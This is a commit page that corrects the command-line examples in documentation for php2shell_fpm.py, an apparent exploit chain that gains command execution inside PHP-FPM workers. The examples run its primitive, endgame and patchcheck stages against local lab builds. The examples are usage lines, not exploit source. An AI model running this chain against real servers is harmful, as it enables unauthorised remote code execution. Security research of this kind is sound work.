Skip to content

Commit 7cf3a8f

Browse files
committed
Fix php2shell_fpm.py CLI examples: global options precede the subcommand
patchcheck iterates both lab builds and takes no --base; endgame and primitive require --base/--builder before the subcommand name.
1 parent b8f95c0 commit 7cf3a8f

2 files changed

Lines changed: 15 additions & 8 deletions

File tree

‎README.md‎

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -161,8 +161,9 @@ python3 tools/php2shell_fpm_labs.py up --version 8.4.26
161161
python3 tools/php2shell_auto.py -u http://127.0.0.1:8110/index.php --sapi fpm \
162162
--builder http://127.0.0.1:8111
163163
# or drive the chain directly:
164-
python3 tools/php2shell_fpm.py endgame \
165-
--base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 --version 8.4.26
164+
python3 tools/php2shell_fpm.py \
165+
--base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 --version 8.4.26 \
166+
endgame
166167
python3 tools/php2shell_fpm_labs.py down
167168
```
168169

‎docs/fpm-chain.md‎

Lines changed: 12 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -144,12 +144,14 @@ i.e. real command execution inside the FPM worker.
144144
stale state:
145145

146146
```sh
147-
python3 tools/php2shell_fpm.py patchcheck --base http://127.0.0.1:8110
147+
python3 tools/php2shell_fpm.py patchcheck
148148
# 8.4.26: BG.data=0x7f07be281000 level=1 STALE-ARMED
149-
python3 tools/php2shell_fpm.py patchcheck --base http://127.0.0.1:8120
150149
# 8.4.27: level=0 clean (both workers survive the post-RINIT OOM probe)
151150
```
152151

152+
`patchcheck` iterates both laboratory builds (ports 8110/8120); it takes no
153+
target arguments.
154+
153155
## Laboratory
154156

155157
`tools/php2shell_fpm_labs.py` runs two user-prefix builds behind one nginx
@@ -191,15 +193,19 @@ lab/fpm/runtime/php-8.4.27/sbin/php-fpm \
191193
Directly (recommended first runs):
192194

193195
```sh
194-
python3 tools/php2shell_fpm.py primitive \
195-
--base http://127.0.0.1:8110 --builder http://127.0.0.1:8111
196+
python3 tools/php2shell_fpm.py \
197+
--base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 \
198+
primitive
196199
# forged benign var_entries; observable via app.php (r<TAB>value)
197200

198-
python3 tools/php2shell_fpm.py endgame \
201+
python3 tools/php2shell_fpm.py \
199202
--base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 \
200-
--version 8.4.26 --command 'id>out/p1' --proof-file out/p1
203+
--version 8.4.26 --command 'id>out/p1' --proof-file out/p1 \
204+
endgame
201205
```
202206

207+
(Global options come before the subcommand.)
208+
203209
Via the dispatcher (`tools/php2shell_auto.py` fingerprints nginx and routes
204210
to the FPM chain; the lab needs an explicit `--builder` because the consumer
205211
endpoint alone is not enough for the 4 MB arm phase):

0 commit comments

Comments
 (0)